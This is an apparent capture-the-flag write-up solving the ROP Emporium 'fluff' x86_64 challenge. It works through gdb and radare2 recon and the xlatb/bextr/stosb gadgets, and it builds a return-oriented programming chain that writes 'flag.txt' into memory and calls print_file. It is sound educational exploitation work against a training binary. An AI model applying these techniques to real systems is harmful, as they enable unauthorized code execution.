ROP Emporium - 06 fluff x86_64

ELF Binary Info

$ rabin2 -I ./fluff

arch     x86
baddr    0x400000
binsz    6526
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    .
sanitiz  false
static   false
stripped false
subsys   linux
va       true
  • canary false
  • nx true (i.e. DEP enabled)
  • pic false (i.e. not PIE)

Find readable and writeable area of memory

  • 1st terminal, run ELF binary and keep it open
  • 2nd terminal, search proc maps of running process for readable and writeable memory:

$ cat /proc/$(pgrep -f ./fluff)/maps | grep rw

00601000-00602000 rw-p 00001000 fe:01 656467                             /<fluff_filepath>
[...]
  • Step through binary in GDB and search for free memory between 00601000-00602000 to place "flag.txt" string
  • Ensure there are null bytes after chosen memory address so that null terminator does not need to be added manually

$ gdb -q ./fluff
(gdb) start
(gdb) disass pwnme

Dump of assembler code for function pwnme:
[...]
   0x00007f160f97e92f <+133>:	call   0x7f160f97e770 <read@plt>
   0x00007f160f97e934 <+138>:	lea    rdi,[rip+0x110]        # 0x7f160f97ea4b
   0x00007f160f97e93b <+145>:	call   0x7f160f97e730 <puts@plt>
[...]
End of assembler dump.
  • Set breakpoint after read() instruction

(gdb) b *pwnme+138
(gdb) c

Continuing.
fluff by ROP Emporium
x86_64

Go ahead and give me the input already!

> AAAAAAAA

(gdb) x/512gx 0x601000

[...]
0x6019f0:	0x0000000000000000	0x0000000000000000
0x601a00:	0x0000000000000000	0x0000000000000000
0x601a10:	0x0000000000000000	0x0000000000000000
[...]
  • Memory address 0x601a00 looks like it matches criteria

Look for ROP Gadgets

$ r2 -A ./fluff

  • Most of the obvious ROP gadgets from earlier levels were not present in this binary, so we need to start devling into the realms of some of the more obscure instructions
  • Have a look at the binary's symbols:

[0x00400520]> is

[...]
35  0x00000617 0x00400617 LOCAL  FUNC   17       usefulFunction
36  ---------- 0x00000000 LOCAL  FILE   0        /tmp/ccipmRw8.o
37  0x00000628 0x00400628 LOCAL  NOTYPE 0        questionableGadgets
[...]
  • Print disassembly, 10 lines, starting from questionableGadgets

[0x00400520]> pd 10 @ loc.questionableGadgets

    ;-- questionableGadgets:
    0x00400628      d7             xlatb
    0x00400629      c3             ret
    0x0040062a      5a             pop rdx
    0x0040062b      59             pop rcx
    0x0040062c      4881c1f23e00.  add rcx, 0x3ef2
    0x00400633      c4e2e8f7d9     bextr rbx, rcx, rdx
    0x00400638      c3             ret
    0x00400639      aa             stosb byte [rdi], al
    0x0040063a      c3             ret
    0x0040063b      0f1f440000     nop dword [rax + rax]
  • Disassemble function usefulFunction

[0x00400520]> pdf @ sym.usefulFunction

╭ 17: sym.usefulFunction ();
│           0x00400617      55             push rbp
│           0x00400618      4889e5         mov rbp, rsp
│           0x0040061b      bfc4064000     mov edi, str.nonexistent    ; 0x4006c4 ; "nonexistent"
│           0x00400620      e8ebfeffff     call sym.imp.print_file
│           0x00400625      90             nop
│           0x00400626      5d             pop rbp
╰           0x00400627      c3             ret
  • Search for pop rdi instruction >[0x00400520]> /R pop rdi
  0x004006a3                 5f  pop rdi
  0x004006a4                 c3  ret

Understanding Available Gadgets

stosb (Store String): Intel 64 and IA-32 Manual, page 1300

  • stosb byte [rdi], al: Store AL at address RDI
  • NOTE: After the byte is transferred from the register to the memory location, the RDI register is incremented or decremented according to the setting of the DF flag in the EFLAGS register. If the DF flag is 0, the register is incremented; if the DF flag is 1, the register is decremented (the register is incremented or decremented by 1 for byte operations, by 2 for word operations, by 4 for doubleword operations).
  • With this instruction we are able to store values in memory, but we need to be able to control AL to do this.

xlatb (Table Look-up Translation): Intel 64 and IA-32 Manual, page 1948

  • xlatb: Set AL to memory byte [RBX + unsigned AL]
  • With this instruction we are able to set AL, but we need to be able to control RBX to do this.
  • NOTE: Will need to correct for current value of AL each time this instruction is used.

BEXTR (Bit Field Extract): Intel 64 and IA-32 Manual, page 182

  • bextr rbx, rcx, rdx: Contiguous bitwise extract from RCX using RDX as control; store result in RBX
  • Extracts contiguous bits from RCX using an index value and length value specified in RDX.
  • Bit 7:0 of RDX specifies the starting bit position of bit extraction. A START value exceeding the operand size will not extract any bits from RDX.
  • Bit 15:8 of RDX specifies the maximum number of bits (LENGTH) beginning at the START position to extract.
  • Only bit positions up to (OperandSize -1) of RCX are extracted.
  • The extracted bits are written to RBX, starting from the least significant bit.
  • All higher order bits in RBX (starting at bit position LENGTH) are zeroed.
  • RBX is cleared if no bits are extracted.
  • Therefore RBX can be set if we can control RCX and RDX.
  • We will want to set RDX to value 0x0000000000004000 (Bit 15:8 = 0x40 to extract 64 bits; Bit 7:0 = 0x00 to start from beginning)

Contraints

  • pop rdx; pop rcx; add rcx, 0x3ef2
  • These instructions allow us to control RCX and RDX.
  • NOTE: need to correct for add rcx, 0x3ef2 by placing a value 0x3ef2 lower than desired value to pop RCX.

Building ROP Chain

Goal is to store "flag.txt" string at known memory address, pop the memory address of this string, then call print_file function to get the flag. Therefore, working backwards, ROP chain will be:

  • Address of pop rdi ROP gadget
  • Value to pop into RDI == chosen memory address where we'll store target string "flag.txt" (e.g. 0x601a00 found earlier)
  • Loop for each memory address pointing to byte of target string "flag.txt":
    • Address of pop rdx; pop rcx; add rcx, 0x3ef2 ROP gadget
    • Value to pop into RDX == 0x0000000000004000
    • Value to pop into RCX == target memory address of bytes that match our target string "flag.txt", but remembering to correct for (i.e. subtracting) 0x3ef2 gadget constraint and current value of AL (section below covers how bytes of target string were found in the ELF binary)
    • Address of bextr rbx, rcx, rdx ROP gadget
    • Address of xlatb ROP gadget (NOTE: this instruction sets AL to memory byte [RBX + unsigned AL], which why current value of AL is adjusted for when setting RCX value above)
    • Address of stosb ROP gadget (NOTE: this instruction auto-increments RDI, so there is no need to manually adjust for this)
  • Address of pop rdi ROP gadget
  • Value to pop into RDI == chosen memory address where we'll store target string "flag.txt" (e.g. 0x601a00 found earlier)
  • Address of call to print_file function (i.e. 0x00400620 found earlier)

Searching for Bytes of Target String in ELF Binary

  • Search the ELF binary for bytes that match our target string "flag.txt" (may need to scroll up/down to locate them)

$ r2 -A ./fluff
[0x00400520]> V

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
[...]
0x004003c0  006c 6962 666c 7566 662e 736f 005f 5f67  .libfluff.so.__g
0x004003d0  6d6f 6e5f 7374 6172 745f 5f00 7072 696e  mon_start__.prin
[...]
0x004006c0  0100 0200 6e6f 6e65 7869 7374 656e 7400  ....nonexistent.
[...]
  • memory address of "f" = 0x4003c8
  • memory address of "l" = 0x4003c1
  • memory address of "a" = 0x4003d6
  • memory address of "g" = 0x4003cf
  • memory address of "." = 0x4003c9
  • memory address of "t" = 0x4003d8
  • memory address of "x" = 0x4006c8
  • memory address of "t" = 0x4003d8

Correcting for Existing Value of AL

  • For 2nd iteration of loop onward (e.g. characters "l", "a", "g", ".", "t", "x", "t"), then the value of AL is known (i.e. the value of the previous character)
  • However, for the first iteration (e.g. trying to set character "f"), we need to look at the state of the program's registers at the point of execution, so step through program in GDB:

$ gdb -q ./fluff
(gdb) start
(gdb) disass pwnme

   0x00007efc2f06392f <+133>:	call   0x7efc2f063770 <read@plt>
   0x00007efc2f063934 <+138>:	lea    rdi,[rip+0x110]        # 0x7efc2f063a4b
   0x00007efc2f06393b <+145>:	call   0x7efc2f063730 <puts@plt>
   0x00007efc2f063940 <+150>:	nop
   0x00007efc2f063941 <+151>:	leave  
   0x00007efc2f063942 <+152>:	ret   
  • Set breakpoint at ret instruction and continue

(gdb) b *pwnme+152
(gdb) c

Continuing.
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
> AAAAAAAA
Thank you!
  • Look up current value of AL:

(gdb) p/x $al
$1 = 0xb

  • Therefore, need to adjust for 0x0b in first iteration of loop

Get Flag

  • Place script the get_flag.py Python script in the same folder as the challenge's files, then run the script:

$ python get_flag.py

fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}